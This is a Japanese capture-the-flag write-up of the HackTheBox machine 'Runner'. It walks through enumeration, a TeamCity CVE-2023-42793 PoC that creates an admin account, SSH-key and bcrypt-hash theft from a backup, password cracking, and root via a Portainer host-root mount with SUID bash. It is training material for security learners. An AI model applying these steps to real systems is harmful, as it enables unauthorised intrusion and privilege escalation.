1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Runner WriteUp

Last updated at Posted at 2024-08-28

今回はHackTheBoxのMediumマシン「Runner」のWriteUpです!
名前とアイコンがまさにランナーですが、一体どのようなマシンなのでしょうか。

スクリーンショット 2024-08-28 20.51.23.png

グラフはいつものMediumマシンという感じですね。
評価が高いので、面白そうです。サクッと攻略目指して頑張ります!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Runner

列挙

では攻略を始めていきましょう!
まずはnmapから実行していきます。

+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.129.87.174

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).

80番と8000番がオープンしていました。
どちらもHTTPなので、とりあえずブラウザで確認してみましょう。

スクリーンショット 2024-04-24 23.42.38.png

80番はCI/CDのサイトのようです。8000番もみてみましょう。

スクリーンショット 2024-04-24 23.44.46.png

404が返ってきました。
ディレクトリ探索など行いましたが、特に情報がなかったのでサブドメインを列挙することにしました。ffufを実行しましょう。

+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://runner.htb -H 'HOST: FUZZ.runner.htb'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.runner.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 214ms]

かなり時間はかかりましたが、teamcityというサブドメインを発見しました。
hostsファイルに追記し、ブラウザでアクセスしてみましょう。

スクリーンショット 2024-04-25 0.45.40.png

ログイン画面が表示されました。

CVE-2023-42793

バージョンが2023.05.3のようなので、脆弱性がないかを確認してみると、以下の脆弱性を発見しました。

どうやら、adminアカウントを作成するエクスプロイトのようです。試しに実行してみましょう。

+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ python3 poc.py -u http://teamcity.runner.htb 

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.Z3F3aTZtTVQxVXo4S0N6a0VIdXJ4c2RyUXJN.YjY1OGYzOWMtYTFjZS00OWM5LWE1MzAtZTZkZjUyMGIyNTQ3
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminTOdK
Password: Main_password!!**

最終的に、ユーザ名とパスワードが出力されました。この認証情報を使用してログインできるようなので、ログインしてみます。

スクリーンショット 2024-04-25 0.54.51.png

ログインに成功しました!
では、ここから侵入を目指していきます。管理者としてログインできたので、スクリプトを実行するような機能があればシェルを取得できそうです。
調べてみると、Exploit Notesに情報がありました。

手順に従って、リバースシェルの取得を目指しましょう。
と、思いましたがTeamCityはサーバのバックアップを取得することができる機能があるようなので、先にそちらを試してみました。
まずServer AdministrationからBackupを選択し、Start Backupというボタンを押下します。すると、バックアップが開始され、ZIPファイルのリンクが表示されます。

スクリーンショット 2024-04-27 17.38.29.png

リンクを押下し、ZIPファイルを解凍させていきましょう。

+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ unzip ./TeamCity_Backup_20240427_082900.zip 
Archive:  ./TeamCity_Backup_20240427_082900.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
  inflating: version.txt             
  inflating: metadata/metadata-version.dat  
  inflating: charset                 
  inflating: metadata/backup.config  
  inflating: metadata/schema.config  

設定ファイルなどが複数あります。認証情報などが書かれていそうなので、中身を見てみようと思いましたが、抽出の中に激アツなファイルを発見しました。

+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ls -l 
total 4
---------- 1 kali kali 2590 Feb 28 19:56 id_rsa

SSHキーがあります!

John としてのシェル

このファイルを使用してSSH接続が行えそうなので、試してみます。問題はどのようなユーザで試すのかですが、TeamCityをみると、存在しているユーザがわかりました。

スクリーンショット 2024-04-27 17.44.07.png

メールアドレスからみて、JohnというユーザとMatthewというユーザでSSH接続を狙えそうです。まずは、johnから試してみましょう。

+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa john@10.10.11.13               

john@runner:~$ whoami
john

初期侵入に成功しました!

john@runner:~$ ls -l
total 4
-rw-r----- 1 root john 33 Apr 25 23:02 user.txt

ユーザフラグも取得できました!

垂直権限昇格

ユーザフラグが取れたので、権限昇格を目指していきましょう!
と、その前にidコマンドを実行すると、UIDが「1001」であることがわかりました。

john@runner:/home$ id
uid=1001(john) gid=1001(john) groups=1001(john)

通常UIDは「1000」であることが多いので、横移動が必要かもしれません。homeディレクトリを確認してみると、TeamCityでも確認できていたmatthewというユーザが存在していることがわかります。

john@runner:/home$ ls -l
total 8
drwxr-x--- 4 john    john    4096 Apr 27 01:25 john
drwxr-x--- 5 matthew matthew 4096 Apr 27 01:21 matthew

一旦ユーザの存在をメモしておき、次に進んでいきます。
では、試しにsudo -lを実行してみましょう。

john@runner:~$ sudo -l
[sudo] password for john: 
sudo: a password is required

パスワードが求められたので、sudoは実行できないようです。
プロセスや権限を調査していく中で、対象にはローカルで実行されているサービスがあることに気づきました。

john@runner:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -     

もしかしたらWEBのサービスである可能性があります。構成を調査するために、nginxsites-enabledディレクトリ内を確認してみることにしました。

john@runner:/etc/nginx/sites-enabled$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr  4 10:24 .
drwxr-xr-x 8 root root 4096 Apr  4 10:24 ..
lrwxrwxrwx 1 root root   34 Feb 28 10:07 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root   36 Feb 28 20:31 portainer -> /etc/nginx/sites-available/portainer
lrwxrwxrwx 1 root root   35 Feb 28 10:11 teamcity -> /etc/nginx/sites-available/teamcity

すると、teamcityとは別にportainerというファイルを発見しました。内容を確認してみます。

john@runner:/etc/nginx/sites-enabled$ cat portainer
server {
    listen 80;
    server_name portainer-administration.runner.htb;

    location / {
        proxy_pass https://localhost:9443;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

新たなサブドメインを発見しました!hostsファイルに追記し、ブラウザでアクセスしてみましょう。

image.png

ログイン画面が表示されました!
認証情報を取得する必要がありそうです。

Hash Crack

認証情報を取得するため、再度サーバ内の探索に戻ります。
色々と列挙していると、TeamCitymatthewユーザの権限で実行されていることがわかりました。

john@runner:/data/teamcity_server$ ls -la
total 16
drwxr-xr-x 4 root    root    4096 Feb 28 10:31 .
drwxr-xr-x 9 root    root    4096 Feb 28 10:31 ..
drwxr-xr-x 7 matthew matthew 4096 Apr 27 08:29 datadir
drwxr-xr-x 6 matthew matthew 4096 Apr 27 09:38 logs

なので、先ほどバックアップとして取得した設定ファイルの中に認証情報があるかもしれないと考えました。
設定ファイルは複数あるので、grepを使用して一気に確認してみましょう。

+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ grep 'matthew' -rl ./ 
./database_dump/vcs_username
./database_dump/users

検索したところ、matthewという文字列を含むファイルが2つ見つかりました。どのような内容かをみてみると、、

+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ cat ./database_dump/users       
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714206402128, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1714179740622, BCRYPT
11, 37rd7c58, $2a$07$j0dhpwggEbrgMuK.3xZZGuIV76BIlFkPQO/IgnsxMCfS7Rdshgw/a, , 37rd7c58@example.com, 1714089662353, BCRYPT
12, city_admine0z1, $2a$07$FnZsjhEwx4DZ3J37KQgkwejWYipMdpz7.rNDl9fxUHef4D.3yb1dC, , angry-admin@funnybunny.org, 1714206487216, BCRYPT

usersというファイルにハッシュ化されたパスワードを発見しました!
matthewのハッシュを解読できないか試してみます。

+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123         (?)     
1g 0:00:00:53 DONE (2024-04-27 18:51) 0.01860g/s 968.2p/s 968.2c/s 968.2C/s popop..photosynthesis
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

ハッシュが解読できました!
SSHログインやsuによるログインができないか試しましたが、ログインには成功しませんでした。
では、新たに見つけたログインページの認証に成功するか試してみます。

image.png

ログインに成功しました!

Portainer

それでは、本格的に権限昇格を目指します。私はコンテナへの攻撃手法を日頃から勉強しているのですぐにわかったのですが、実はPortainerを使用して、権限昇格を行うことが可能です。
以下のような記事も公開されています。

記事にも書いてありますが、ルートディレクトリ(/)をマウントすることで権限昇格を成功させます。
さっそく取り掛かりましょう。まずはマウントに使用するボリュームを作成する必要があります。Volumesへ移動しましょう。

image.png

現状で2つのボリュームが作成されていますが、今回は新規に作成するので右上の+ Add volumeを押下します。ボリュームの作成画面に遷移するので、必要事項を入力していきます。

image.png

名前は適当でいいですが、オプションは重要です。それぞれを指定することでルートディレクトリをマウントすることが可能になります。
指定ができたら、Create the volumeを押下し完了させましょう。

image.png

これで、ボリュームの準備は完了です。
次にコンテナの作成に使用するイメージのIDをコピーします。imagesにすでに存在するイメージを確認できます。

image.png

今回は「ubuntu:latest」のものを使用します。
IDがコピーできたら、次はコンテナを作成していきます。コンテナの作成はContainersで行います。

image.png

リストの右上の+ Add containerを押下し、イメージの部分に先ほどのIDを指定します。

image.png

指定ができたら、下にスクロールしAdvanced container settingsにあるconsoleInteractive & TTYへ変更します。

image.png

変更出来たら、Volumesへ移動し、+ map additional volumeを押下します。
押下後入力欄が表示されるので、containerには/mnt/rootを入力し、volumeには先ほど作成したボリュームを選択します。

image.png

これで準備完了です!Deploy the containerを押下しコンテナをデプロイしましょう。

image.png

作成に成功しました!それでは、作成したコンテナを押下しContainer statusの中にあるConsoleを選択します。

image.png

するとコマンドを選択しシェルに接続する画面が表示されるので特に変更せずにConnectを押下します。

image.png

コンテナに接続できました。それではマウント先を確認しに行きましょう。

root@c2c1bea51721:/mnt/root# ls -l
total 80
lrwxrwxrwx   1 root root     7 Feb 17  2023 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Apr 15 09:44 boot
drwxr-xr-x   9 root root  4096 Feb 28 10:31 data
drwxr-xr-x   4 root root  4096 Feb 17  2023 dev
drwxr-xr-x 101 root root  4096 Apr 15 09:35 etc
drwxr-xr-x   4 root root  4096 Apr  4 10:24 home
lrwxrwxrwx   1 root root     7 Feb 17  2023 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Feb 17  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Feb 17  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Feb 17  2023 libx32 -> usr/libx32
drwx------   2 root root 16384 Apr 27  2023 lost+found
drwxr-xr-x   2 root root  4096 Feb 17  2023 media
drwxr-xr-x   2 root root  4096 Feb 17  2023 mnt
drwxr-xr-x   4 root root  4096 Apr  4 10:24 opt
drwxr-xr-x   2 root root  4096 Apr  4 10:24 proc
drwx------   6 root root  4096 Apr 25 23:02 root
drwxr-xr-x  14 root root  4096 Apr  4 10:24 run
lrwxrwxrwx   1 root root     8 Feb 17  2023 sbin -> usr/sbin
drwxr-xr-x   2 root root  4096 Apr  4 10:24 srv
drwxr-xr-x   2 root root  4096 Apr 18  2022 sys
drwxrwxrwt   7 root root  4096 Apr 27 14:07 tmp
drwxr-xr-x  14 root root  4096 Feb 17  2023 usr
drwxr-xr-x  13 root root  4096 Feb 28 10:07 var

マウントに成功していそうです!

root としてのシェル

それでは権限を昇格させましょう!正直権限昇格を行わずルートフラグを読むこともできますが、どうせならきちんと攻略してしまいましょう。
わたしはいつも/bin/bashにSUIDを付与する方法で権限昇格を行うので、今回もその手法で行きます。マウント先なので、パスに注意してください。

root@c2c1bea51721:/mnt/root# chmod u+s bin/bash

ホスト側でSUIDが付与されているか確認しましょう。

john@runner:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

SUIDが付与されています!権限を昇格させましょう!

john@runner:~$ bash -p
bash-5.1# whoami
root

権限昇格成功です!

bash-5.1# ls -l /root
total 16
-rwxr-xr-x 1 root root  378 Apr  4 13:03 docker_clean.sh
-rw-r--r-- 1 root root 1907 Apr  2 14:00 initial_state.txt
-rwxr-xr-x 1 root root  592 Apr  2 13:55 monitor.sh
-rw-r----- 1 root root   33 Apr 25 23:02 root.txt

フラグも無事ゲットできました!完全攻略達成です!

攻略を終えて

今回は私の好きな技術であるコンテナが権限昇格で使用されていて個人的にかなり楽しいマシンでした。知っていたということもありサクッと攻略でしたが、portainer.ioを初めてみる人は少し苦戦するのではと思います。初期侵入は、TeamCityの脆弱性を悪用しました。こちらの脆弱性はバージョンから起因するものなので、やはりバージョン管理には重きを置いて確実に対応していきたいですね。
今後もHackTheBoxのWriteUpを公開していくので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?